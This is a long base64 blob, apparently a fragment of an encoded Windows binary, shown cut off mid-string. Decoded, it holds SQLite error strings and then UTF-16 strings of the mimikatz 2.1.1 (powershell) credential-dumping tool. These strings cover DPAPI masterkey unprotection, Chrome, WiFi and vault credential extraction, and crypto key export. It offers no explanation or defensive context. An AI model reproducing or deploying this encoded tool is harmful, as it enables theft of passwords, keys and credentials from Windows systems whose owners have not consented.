ZXNzAAAAJXMlYyVzAAB3aW5GdWxsUGF0aG5hbWUxAAAAAHdpbkZ1bGxQYXRobmFtZTIAAAAAd2luRnVsbFBhdGhuYW1lMwAAAAB3aW5GdWxsUGF0aG5hbWU0AAAAAHdpbjMyAAAAd2luMzItbG9uZ3BhdGgAAHJlY292ZXJlZCAlZCBwYWdlcyBmcm9tICVzAAAtam91cm5hbAAAAABub2xvY2sAAGltbXV0YWJsZQAAAG91dCBvZiBtZW1vcnkAAAAlbGxkAAAAACUhLjE1ZwAALQAAACVzJXMAAAAAJXMtbWpYWFhYWFg5WFh6AE1KIGRlbGV0ZTogJXMAAABNSiBjb2xsaWRlOiAlcwAALW1qJTA2WDklMDJYAAAAAEFQSSBjYWxsZWQgd2l0aCBmaW5hbGl6ZWQgcHJlcGFyZWQgc3RhdGVtZW50AAAAAEFQSSBjYWxsZWQgd2l0aCBOVUxMIHByZXBhcmVkIHN0YXRlbWVudABzdHJpbmcgb3IgYmxvYiB0b28gYmlnAAB1bmFibGUgdG8gdXNlIGZ1bmN0aW9uICVzIGluIHRoZSByZXF1ZXN0ZWQgY29udGV4dAAAYmluZCBvbiBhIGJ1c3kgcHJlcGFyZWQgc3RhdGVtZW50OiBbJXNdAE5PVCBOVUxMAAAAAFVOSVFVRQAAQ0hFQ0sAAABGT1JFSUdOIEtFWQAlcyBjb25zdHJhaW50IGZhaWxlZAAAAAAlejogJXMAAGFib3J0IGF0ICVkIGluIFslc106ICVzAGNhbm5vdCBvcGVuIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABubyBzdWNoIHNhdmVwb2ludDogJXMAAABjYW5ub3QgcmVsZWFzZSBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAGNhbm5vdCBjb21taXQgdHJhbnNhY3Rpb24gLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAY2Fubm90IHN0YXJ0IGEgdHJhbnNhY3Rpb24gd2l0aGluIGEgdHJhbnNhY3Rpb24AY2Fubm90IHJvbGxiYWNrIC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAABjYW5ub3QgY29tbWl0IC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAGRhdGFiYXNlIHNjaGVtYSBoYXMgY2hhbmdlZABzcWxpdGVfbWFzdGVyAAAAAAAAAFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gJyVxJy4lcyBXSEVSRSAlcyBPUkRFUiBCWSByb3dpZABzdGF0ZW1lbnQgYWJvcnRzIGF0ICVkOiBbJXNdICVzAG1pc3VzZSBvZiBhbGlhc2VkIGFnZ3JlZ2F0ZSAlcwAAbm8gc3VjaCBjb2x1bW4AAGFtYmlndW91cyBjb2x1bW4gbmFtZQAAACVzOiAlcy4lcy4lcwAAAAAlczogJXMuJXMAAAAlczogJXMAAHBhcnRpYWwgaW5kZXggV0hFUkUgY2xhdXNlcwBpbmRleCBleHByZXNzaW9ucwAAACVzIHByb2hpYml0ZWQgaW4gJXMAdGhlICIuIiBvcGVyYXRvcgAAAABmdW5jdGlvbnMAAABzZWNvbmQgYXJndW1lbnQgdG8gbGlrZWxpaG9vZCgpIG11c3QgYmUgYSBjb25zdGFudCBiZXR3ZWVuIDAuMCBhbmQgMS4wAABub24tZGV0ZXJtaW5pc3RpYyBmdW5jdGlvbnMAbWlzdXNlIG9mIGFnZ3JlZ2F0ZSBmdW5jdGlvbiAlLipzKCkAbm8gc3VjaCBmdW5jdGlvbjogJS4qcwAAd3JvbmcgbnVtYmVyIG9mIGFyZ3VtZW50cyB0byBmdW5jdGlvbiAlLipzKCkAAAAAc3VicXVlcmllcwAAcGFyYW1ldGVycwAAJXIgJXMgQlkgdGVybSBvdXQgb2YgcmFuZ2UgLSBzaG91bGQgYmUgYmV0d2VlbiAxIGFuZCAlZAB0b28gbWFueSB0ZXJtcyBpbiBPUkRFUiBCWSBjbGF1c2UAAABPUkRFUgAAACVyIE9SREVSIEJZIHRlcm0gZG9lcyBub3QgbWF0Y2ggYW55IGNvbHVtbiBpbiB0aGUgcmVzdWx0IHNldAAAAAB0b28gbWFueSB0ZXJtcyBpbiAlcyBCWSBjbGF1c2UAAGEgR1JPVVAgQlkgY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSBIQVZJTkcAR1JPVVAAAABhZ2dyZWdhdGUgZnVuY3Rpb25zIGFyZSBub3QgYWxsb3dlZCBpbiB0aGUgR1JPVVAgQlkgY2xhdXNlAABFeHByZXNzaW9uIHRyZWUgaXMgdG9vIGxhcmdlIChtYXhpbXVtIGRlcHRoICVkKQB2YXJpYWJsZSBudW1iZXIgbXVzdCBiZSBiZXR3ZWVuID8xIGFuZCA/JWQAAHRvbyBtYW55IFNRTCB2YXJpYWJsZXMAAHRvbyBtYW55IGNvbHVtbnMgaW4gJXMAAF9ST1dJRF8AUk9XSUQAAABPSUQAb3ZlcnNpemVkIGludGVnZXI6ICVzJXMAbWlzdXNlIG9mIGFnZ3JlZ2F0ZTogJXMoKQAAAHVua25vd24gZnVuY3Rpb246ICVzKCkAACVzICVUIGNhbm5vdCByZWZlcmVuY2Ugb2JqZWN0cyBpbiBkYXRhYmFzZSAlcwAAAG5vIHN1Y2ggdGFibGUAAABjb3JydXB0IGRhdGFiYXNlAAAAAHVua25vd24gZGF0YWJhc2UgJVQAc3FsaXRlXwBvYmplY3QgbmFtZSByZXNlcnZlZCBmb3IgaW50ZXJuYWwgdXNlOiAlcwAAAHRhYmxlICVUIGFscmVhZHkgZXhpc3RzAHRoZXJlIGlzIGFscmVhZHkgYW4gaW5kZXggbmFtZWQgJXMAAHRvbyBtYW55IGNvbHVtbnMgb24gJXMAAGR1cGxpY2F0ZSBjb2x1bW4gbmFtZTogJXMAAABkZWZhdWx0IHZhbHVlIG9mIGNvbHVtbiBbJXNdIGlzIG5vdCBjb25zdGFudAAAAAB0YWJsZSAiJXMiIGhhcyBtb3JlIHRoYW4gb25lIHByaW1hcnkga2V5AAAAAElOVEVHRVIALAAAACkAAAAKICAALAogIAAAAAAKKQAAQ1JFQVRFIFRBQkxFIAAAACBURVhUAAAAIE5VTQAAAAAgSU5UAAAAACBSRUFMAAAAQVVUT0lOQ1JFTUVOVCBub3QgYWxsb3dlZCBvbiBXSVRIT1VUIFJPV0lEIHRhYmxlcwAAAFBSSU1BUlkgS0VZIG1pc3Npbmcgb24gdGFibGUgJXMAdGFibGUAAABUQUJMRQAAAENSRUFURSAlcyAlLipzAAAAAAAAVVBEQVRFICVRLiVzIFNFVCB0eXBlPSclcycsIG5hbWU9JVEsIHRibF9uYW1lPSVRLCByb290cGFnZT0jJWQsIHNxbD0lUSBXSEVSRSByb3dpZD0jJWQAAHRibF9uYW1lPSclcScgQU5EIHR5cGUhPSd0cmlnZ2VyJwAAAHNxbGl0ZV9zdGF0JWQAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSAlcz0lUQAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIHRibF9uYW1lPSVRIGFuZCB0eXBlIT0ndHJpZ2dlcicAc3FsaXRlX3N0YXQAdGFibGUgJXMgbWF5IG5vdCBiZSBkcm9wcGVkAHRibABpbmRleAAAAGNhbm5vdCBjcmVhdGUgYSBURU1QIGluZGV4IG9uIG5vbi1URU1QIHRhYmxlICIlcyIAAABhbHRlcnRhYl8AAAB0YWJsZSAlcyBtYXkgbm90IGJlIGluZGV4ZWQAdGhlcmUgaXMgYWxyZWFkeSBhIHRhYmxlIG5hbWVkICVzAAAAaW5kZXggJXMgYWxyZWFkeSBleGlzdHMAc3FsaXRlX2F1dG9pbmRleF8lc18lZAAAZXhwcmVzc2lvbnMgcHJvaGliaXRlZCBpbiBQUklNQVJZIEtFWSBhbmQgVU5JUVVFIGNvbnN0cmFpbnRzAAAAAGNvbmZsaWN0aW5nIE9OIENPTkZMSUNUIGNsYXVzZXMgc3BlY2lmaWVkAAAAIFVOSVFVRQBDUkVBVEUlcyBJTkRFWCAlLipzAElOU0VSVCBJTlRPICVRLiVzIFZBTFVFUygnaW5kZXgnLCVRLCVRLCMlZCwlUSk7AG5hbWU9JyVxJyBBTkQgdHlwZT0naW5kZXgnAABubyBzdWNoIGluZGV4OiAlUwAAAGluZGV4IGFzc29jaWF0ZWQgd2l0aCBVTklRVUUgb3IgUFJJTUFSWSBLRVkgY29uc3RyYWludCBjYW5ub3QgYmUgZHJvcHBlZAAAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSBuYW1lPSVRIEFORCB0eXBlPSdpbmRleCcAAAAAaWR4AE9OAABVU0lORwAAAGEgSk9JTiBjbGF1c2UgaXMgcmVxdWlyZWQgYmVmb3JlICVzAGluZGV4ICclcScAACwgAAAlcy4lcwAAACVzLnJvd2lkAAAAAGR1cGxpY2F0ZSBXSVRIIHRhYmxlIG5hbWU6ICVzAAAAbm8gc3VjaCBjb2xsYXRpb24gc2VxdWVuY2U6ICVzAAB0YWJsZSAlcyBtYXkgbm90IGJlIG1vZGlmaWVkAAAAAHJvd3MgZGVsZXRlZAAAAABpbnRlZ2VyAHRleHQAAAAAcmVhbAAAAABibG9iAAAAAG51bGwAAAAAaW50ZWdlciBvdmVyZmxvdwAAAABMSUtFIG9yIEdMT0IgcGF0dGVybiB0b28gY29tcGxleAAAAABFU0NBUEUgZXhwcmVzc2lvbiBtdXN0IGJlIGEgc2luZ2xlIGNoYXJhY3RlcgAAAAAlIS4yMGUAACAAAABNQVRDSAAAAGxpa2UAAAAAZ2xvYgAAAAB1bmxpa2VseQAAAABsaWtlbGlob29kAABsaWtlbHkAAGx0cmltAAAAcnRyaW0AAAB0cmltAAAAAG1pbgBtYXgAdHlwZW9mAABsZW5ndGgAAGluc3RyAAAAcHJpbnRmAAB1bmljb2RlAGNoYXIAAAAAYWJzAHVwcGVyAAAAbG93ZXIAAABoZXgAaWZudWxsAAByYW5kb20AAHJhbmRvbWJsb2IAAG51bGxpZgAAc3FsaXRlX3ZlcnNpb24AAHNxbGl0ZV9zb3VyY2VfaWQAAAAAc3FsaXRlX2xvZwAAcXVvdGUAAABsYXN0X2luc2VydF9yb3dpZAAAAGNoYW5nZXMAdG90YWxfY2hhbmdlcwAAAHJlcGxhY2UAemVyb2Jsb2IAAAAAc3Vic3RyAABzdW0AdG90YWwAAABhdmcAY291bnQAAABncm91cF9jb25jYXQAAAAAY29hbGVzY2UAAAAAdGFibGUgJVMgaGFzIG5vIGNvbHVtbiBuYW1lZCAlcwB0YWJsZSAlUyBoYXMgJWQgY29sdW1ucyBidXQgJWQgdmFsdWVzIHdlcmUgc3VwcGxpZWQAJWQgdmFsdWVzIGZvciAlZCBjb2x1bW5zAAAAAHJvd3MgaW5zZXJ0ZWQAAABhdXRvbWF0aWMgZXh0ZW5zaW9uIGxvYWRpbmcgZmFpbGVkOiAlcwAAPwAAAG1hbGZvcm1lZCBkYXRhYmFzZSBzY2hlbWEgKCVzKQAAJXogLSAlcwBjcmVhdGUgAGludmFsaWQgcm9vdHBhZ2UAAAAAAAAAAENSRUFURSBUQUJMRSB4KHR5cGUgdGV4dCxuYW1lIHRleHQsdGJsX25hbWUgdGV4dCxyb290cGFnZSBpbnRlZ2VyLHNxbCB0ZXh0KQAAAAAAYXR0YWNoZWQgZGF0YWJhc2VzIG11c3QgdXNlIHRoZSBzYW1lIHRleHQgZW5jb2RpbmcgYXMgbWFpbiBkYXRhYmFzZQB1bnN1cHBvcnRlZCBmaWxlIGZvcm1hdABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICIldyIuJXMgT1JERVIgQlkgcm93aWQAAHN0YXRlbWVudCB0b28gbG9uZwAAdW5rbm93biBvciB1bnN1cHBvcnRlZCBqb2luIHR5cGU6ICVUICVUJXMlVABSSUdIVCBhbmQgRlVMTCBPVVRFUiBKT0lOcyBhcmUgbm90IGN1cnJlbnRseSBzdXBwb3J0ZWQAAGEgTkFUVVJBTCBqb2luIG1heSBub3QgaGF2ZSBhbiBPTiBvciBVU0lORyBjbGF1c2UAAABjYW5ub3QgaGF2ZSBib3RoIE9OIGFuZCBVU0lORyBjbGF1c2VzIGluIHRoZSBzYW1lIGpvaW4AAGNhbm5vdCBqb2luIHVzaW5nIGNvbHVtbiAlcyAtIGNvbHVtbiBub3QgcHJlc2VudCBpbiBib3RoIHRhYmxlcwBVTklPTiBBTEwAAABJTlRFUlNFQ1QAAABFWENFUFQAAFVOSU9OAAAAcm93aWQAAABjb2x1bW4lZAAAAAAlLip6OiV1AGFsbCBWQUxVRVMgbXVzdCBoYXZlIHRoZSBzYW1lIG51bWJlciBvZiB0ZXJtcwAAAAAAAABTRUxFQ1RzIHRvIHRoZSBsZWZ0IGFuZCByaWdodCBvZiAlcyBkbyBub3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgcmVzdWx0IGNvbHVtbnMAAABubyBzdWNoIGluZGV4OiAlcwAAACclcycgaXMgbm90IGEgZnVuY3Rpb24AAG11bHRpcGxlIHJlZmVyZW5jZXMgdG8gcmVjdXJzaXZlIHRhYmxlOiAlcwAAY2lyY3VsYXIgcmVmZXJlbmNlOiAlcwAAdGFibGUgJXMgaGFzICVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAG11bHRpcGxlIHJlY3Vyc2l2ZSByZWZlcmVuY2VzOiAlcwAAAHJlY3Vyc2l2ZSByZWZlcmVuY2UgaW4gYSBzdWJxdWVyeTogJXMAAAB0b28gbWFueSByZWZlcmVuY2VzIHRvICIlcyI6IG1heCA2NTUzNQAAKgAAACVzLiVzLiVzAAAAAG5vIHN1Y2ggdGFibGU6ICVzAAAAbm8gdGFibGVzIHNwZWNpZmllZAB0b28gbWFueSBjb2x1bW5zIGluIHJlc3VsdCBzZXQAAERJU1RJTkNUIGFnZ3JlZ2F0ZXMgbXVzdCBoYXZlIGV4YWN0bHkgb25lIGFyZ3VtZW50AABubyBzdWNoIGNvbHVtbjogJXMAAHJvd3MgdXBkYXRlZAAAAABCSU5BUlkAAHRvbyBtYW55IGFyZ3VtZW50cyBvbiAlcygpIC0gbWF4ICVkAG5vIHF1ZXJ5IHNvbHV0aW9uAAAAYXQgbW9zdCAlZCB0YWJsZXMgaW4gYSBqb2luAHRvbyBtYW55IHRlcm1zIGluIGNvbXBvdW5kIFNFTEVDVAAAAHN5bnRheCBlcnJvciBhZnRlciBjb2x1bW4gbmFtZSAiJS4qcyIAAABwYXJzZXIgc3RhY2sgb3ZlcmZsb3cAAAB1bmtub3duIHRhYmxlIG9wdGlvbjogJS4qcwAAc2V0IGxpc3QAAAAAbmVhciAiJVQiOiBzeW50YXggZXJyb3IAdG9vIG1hbnkgYXJndW1lbnRzIG9uIGZ1bmN0aW9uICVUAAAAdW5yZWNvZ25pemVkIHRva2VuOiAiJVQiAAAAADIwMTYtMDUtMTggMTA6NTc6MzAgZmM0OWY1NTZlNDg5NzA1NjFkN2FiNmEyZjI0ZmRkN2Q5ZWI4MWZmMgAAAAB1bmFibGUgdG8gY2xvc2UgZHVlIHRvIHVuZmluYWxpemVkIHN0YXRlbWVudHMgb3IgdW5maW5pc2hlZCBiYWNrdXBzAG5vdCBhbiBlcnJvcgAAAABTUUwgbG9naWMgZXJyb3Igb3IgbWlzc2luZyBkYXRhYmFzZQBhY2Nlc3MgcGVybWlzc2lvbiBkZW5pZWQAAAAAY2FsbGJhY2sgcmVxdWVzdGVkIHF1ZXJ5IGFib3J0AABkYXRhYmFzZSBpcyBsb2NrZWQAAGRhdGFiYXNlIHRhYmxlIGlzIGxvY2tlZAAAAABhdHRlbXB0IHRvIHdyaXRlIGEgcmVhZG9ubHkgZGF0YWJhc2UAAAAAaW50ZXJydXB0ZWQAZGlzayBJL08gZXJyb3IAAGRhdGFiYXNlIGRpc2sgaW1hZ2UgaXMgbWFsZm9ybWVkAAAAAHVua25vd24gb3BlcmF0aW9uAAAAZGF0YWJhc2Ugb3IgZGlzayBpcyBmdWxsAAAAAHVuYWJsZSB0byBvcGVuIGRhdGFiYXNlIGZpbGUAAAAAbG9ja2luZyBwcm90b2NvbAAAAAB0YWJsZSBjb250YWlucyBubyBkYXRhAABjb25zdHJhaW50IGZhaWxlZAAAAGRhdGF0eXBlIG1pc21hdGNoAAAAbGlicmFyeSByb3V0aW5lIGNhbGxlZCBvdXQgb2Ygc2VxdWVuY2UAAGxhcmdlIGZpbGUgc3VwcG9ydCBpcyBkaXNhYmxlZAAAYXV0aG9yaXphdGlvbiBkZW5pZWQAAAAAYXV4aWxpYXJ5IGRhdGFiYXNlIGZvcm1hdCBlcnJvcgBiaW5kIG9yIGNvbHVtbiBpbmRleCBvdXQgb2YgcmFuZ2UAAABmaWxlIGlzIGVuY3J5cHRlZCBvciBpcyBub3QgYSBkYXRhYmFzZQAAdW5rbm93biBlcnJvcgAAAGFib3J0IGR1ZSB0byBST0xMQkFDSwAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IHVzZXItZnVuY3Rpb24gZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAAAAAAAAdW5hYmxlIHRvIGRlbGV0ZS9tb2RpZnkgY29sbGF0aW9uIHNlcXVlbmNlIGR1ZSB0byBhY3RpdmUgc3RhdGVtZW50cwBsb2NhbGhvc3QAAABpbnZhbGlkIHVyaSBhdXRob3JpdHk6ICUuKnMAY2FjaGUAAABzaGFyZWQAAHByaXZhdGUAbW9kZQAAAABybwAAcncAAHJ3YwBtZW1vcnkAAGFjY2VzcwAAbm8gc3VjaCAlcyBtb2RlOiAlcwAlcyBtb2RlIG5vdCBhbGxvd2VkOiAlcwBubyBzdWNoIHZmczogJXMATk9DQVNFAABSVFJJTQAAAG1haW4AAAAAdGVtcAAAAAAlcyBhdCBsaW5lICVkIG9mIFslLjEwc10AAAAAZGF0YWJhc2UgY29ycnVwdGlvbgBtaXN1c2UAAGNhbm5vdCBvcGVuIGZpbGUAAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAxAC4AMQAgACgAeAA4ADYAKQAgAGIAdQBpAGwAdAAgAG8AbgAgAE4AbwB2ACAAMQAyACAAMgAwADEANwAgADEANQA6ADQAMwA6ADUANwAKACAALgAjACMAIABeACAAIwAjAC4AIAAgACIAQQAgAEwAYQAgAFYAaQBlACwAIABBACAATAAnAEEAbQBvAHUAcgAiACAALQAgACgAbwBlAC4AZQBvACkACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAKgAqACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAIAAgACAAIAA+ACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6AAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIAAgACAAIAAgAFYAaQBuAGMAZQBuAHQAIABMAEUAIABUAE8AVQBYACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAAgAHYAaQBuAGMAZQBuAHQALgBsAGUAdABvAHUAeABAAGcAbQBhAGkAbAAuAGMAbwBtACAAKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAA+ACAAaAB0AHQAcAA6AC8ALwBwAGkAbgBnAGMAYQBzAHQAbABlAC4AYwBvAG0AIAAvACAAaAB0AHQAcAA6AC8ALwBtAHkAcwBtAGEAcgB0AGwAbwBnAG8AbgAuAGMAbwBtACAAIAAgACoAKgAqAC8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGkAbgBpAHQATwByAEMAbABlAGEAbgAgADsAIABDAG8ASQBuAGkAdABpAGEAbABpAHoAZQBFAHgAOgAgACUAMAA4AHgACgAAAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAG5jcnlwdC5kbGwAAGJjcnlwdC5kbGwAAAoAQQBsAGcAaQBkACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQB4ACkACgAAAEsAZQB5ACAAKAAlADMAdQApACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHQAcgBhAGMAdABvAHIAXwBjAGEAcABpADMAMgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAHIAbwBtACAAQAAgACUAcAAAAE0AbwBkAGUAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAeAApAAoAAAAAAEkAVgAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAAAAAUAByAGkAdgBLAGUAeQAgACAAIAA6ACAAAAAAAAAAAAAKACEAIQAhACAAcABhAHIAdABzACAAYQBmAHQAZQByACAAcAB1AGIAbABpAGMAIABlAHgAcABvAG4AZQBuAHQAIABhAHIAZQAgAHAAcgBvAGMAZQBzAHMAIABlAG4AYwByAHkAcAB0AGUAZAAgACEAIQAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHQAcgBhAGMAdABvAHIAXwBiAGMAcgB5AHAAdAAzADIAXwBiAG4AIAA7ACAAVQBuAGsAbgBvAHcAbgAgAHQAYQBnADoAIAAlADAAOAB4AAoAAAAAACUAcwA6ACAAAAAAAAoAQQBsAGcASQBkACAAIAAgACAAIAA6ACAAAAAlAHMAIAAoADAAeAAlAHgAKQAKAAAAAABQAHUAYgBFAHgAcAAgACAAIAAgAAAAAABNAG8AZAB1AGwAdQBzACAAIAAgAAAAAABQAHIAaQBtAGUAMQAgACAAIAAgAAAAAABQAHIAaQBtAGUAMgAgACAAIAAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHQAcgBhAGMAdABvAHIAXwBiAGMAcgB5AHAAdAAzADIAIAA7ACAAVABhAGcAIAAlAC4ANABTACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeAB0AHIAYQBjAHQAbwByAF8AYgBjAHIAeQBwAHQAMwAyACAAOwAgAFUAbgBzAHUAcABwAG8AcgB0AGUAZAAgAGkAbgB0AGUAcgBmAGEAYwBlACwAYQBsAGcAIAAoADAAeAAlAHgAKQAKAAAAAABiAGwAbwBiAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAABwAHIAbwB0AGUAYwB0AAAAAAAAAFAAcgBvAHQAZQBjAHQAIABhACAAZABhAHQAYQAgAHYAaQBhACAAYQAgAEQAUABBAFAASQAgAGMAYQBsAGwAAABtAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAYwByAGUAZABoAGkAcwB0AAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAQwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAAAAAAYwBhAHAAaQAAAAAAQwBBAFAASQAgAGsAZQB5ACAAdABlAHMAdAAAAGMAbgBnAAAAQwBOAEcAIABrAGUAeQAgAHQAZQBzAHQAAAAAAGMAcgBlAGQAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAdgBhAHUAbAB0AAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAdwBpAGYAaQAAAAAAVwBpAEYAaQAgAHQAZQBzAHQAAAB3AHcAYQBuAAAAAABXAHcAYQBuACAAdABlAHMAdAAAAGMAaAByAG8AbQBlAAAAAABDAGgAcgBvAG0AZQAgAHQAZQBzAHQAAABjAGEAYwBoAGUAAABkAHAAYQBwAGkAAABEAFAAQQBQAEkAIABNAG8AZAB1AGwAZQAgACgAYgB5ACAAQQBQAEkAIABvAHIAIABSAEEAVwAgAGEAYwBjAGUAcwBzACkAAABEAGEAdABhACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAgAHAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAGkAbgB0AGUAcgBmAGEAYwBlAAAAaQBuAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6ACAAJQBzAAoAAABvAHUAdAAAAFcAcgBpAHQAZQAgAHQAbwAgAGYAaQBsAGUAIAAnACUAcwAnACAAaQBzACAATwBLAAoAAABkAGEAdABhADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAZABhAHQAYQAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuAAAAZQBuAHQAcgBvAHAAeQAAAG0AYQBjAGgAaQBuAGUAAABwAHIAbwBtAHAAdAAAAAAAYwAAAAoAZABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABmAGwAYQBnAHMAIAAgACAAIAAgACAAIAA6ACAAAAAAAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzADoAIAAAAAAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAOgAgAAAAAABCAGwAbwBiADoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAHMAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAKAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAA